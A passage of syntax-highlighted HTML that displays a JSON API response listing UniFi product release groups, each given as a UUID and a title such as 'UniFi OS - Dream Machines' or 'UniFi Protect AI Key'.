</span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f589bbd4-a68f-4612-9933-9fcb0fe499cc"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Mobile Routers"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"e6712595-81bb-4829-8e42-9e2630fabcfe"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Network Application"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"6cfd78f7-f672-44de-afad-a2cb347443ca"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Cloud Gateways"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"c4ccd194-4cbf-4738-b07d-0aa6f04d178e"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Cloud Keys"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"c17324f8-a72d-412c-ac6e-2c39a451d715"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Dream Machine Pro Max"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b0f0a740-021e-4027-a778-ceba983be74b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Dream Machines"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"5422e4d2-535a-4316-8710-8ad62790f44f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Dream Machine SE"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"05c33268-8765-4e6b-b799-552e89fb8d5b"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Dream Routers"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"f8f622d3-cb99-41d1-bfae-2a5f85f9644d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Dream Wall"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"2bc77d09-5556-4270-9eb3-38fcbd716720"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Enterprise Fortress Gateway"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"eb071b50-409d-41cd-92dd-1a65909f499a"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Enterprise Network Video Recorders"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"2800eda0-d2bb-41b0-a139-737b79ff23f5"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Express"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b8539b45-2eba-4b5f-854b-93d57d326989"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Express 7"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"db1e707e-1f0a-43cd-85e6-a75849e6e744"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Network Attached Storage"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ba34c1fa-d237-4161-872b-c3104ef77085"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS - Network Video Recorders"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"76650b06-fc47-4892-9c12-25c64c39f842"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi OS Server"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b4c7fe5a-7dbc-42a8-80b5-926c531bb0e3"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Phone Flex"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ef800d4e-29d2-47c2-a916-b53bde811b46"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Phone Touch"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"fbe8c8c6-5a7a-415c-8545-b9d8529e3d91"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Play Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"0fda302d-0235-46d1-b4c7-53ad07a1e7d1"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Play Audio Port"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"baae0bca-f13f-4a58-bbba-c1ea248ad472"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Play iOS"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"ab6e3f11-29e7-4810-8396-da234b0001f8"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Play PowerAmp"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"38b66560-078c-4144-ad6b-af58f0de4674"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect AI Horn Speaker"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"d5757565-add5-4aba-9079-552a7a81791a"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect AI Key"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b92bb902-3ef1-4869-b81f-d3bb5c58afd0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect AI Port"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"dccea623-f38c-4d44-84a2-c97bddc0c6cf"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"UniFi Protect Android"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"aada5f38-35d4-4525-9235-b14bd320e4d0"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" 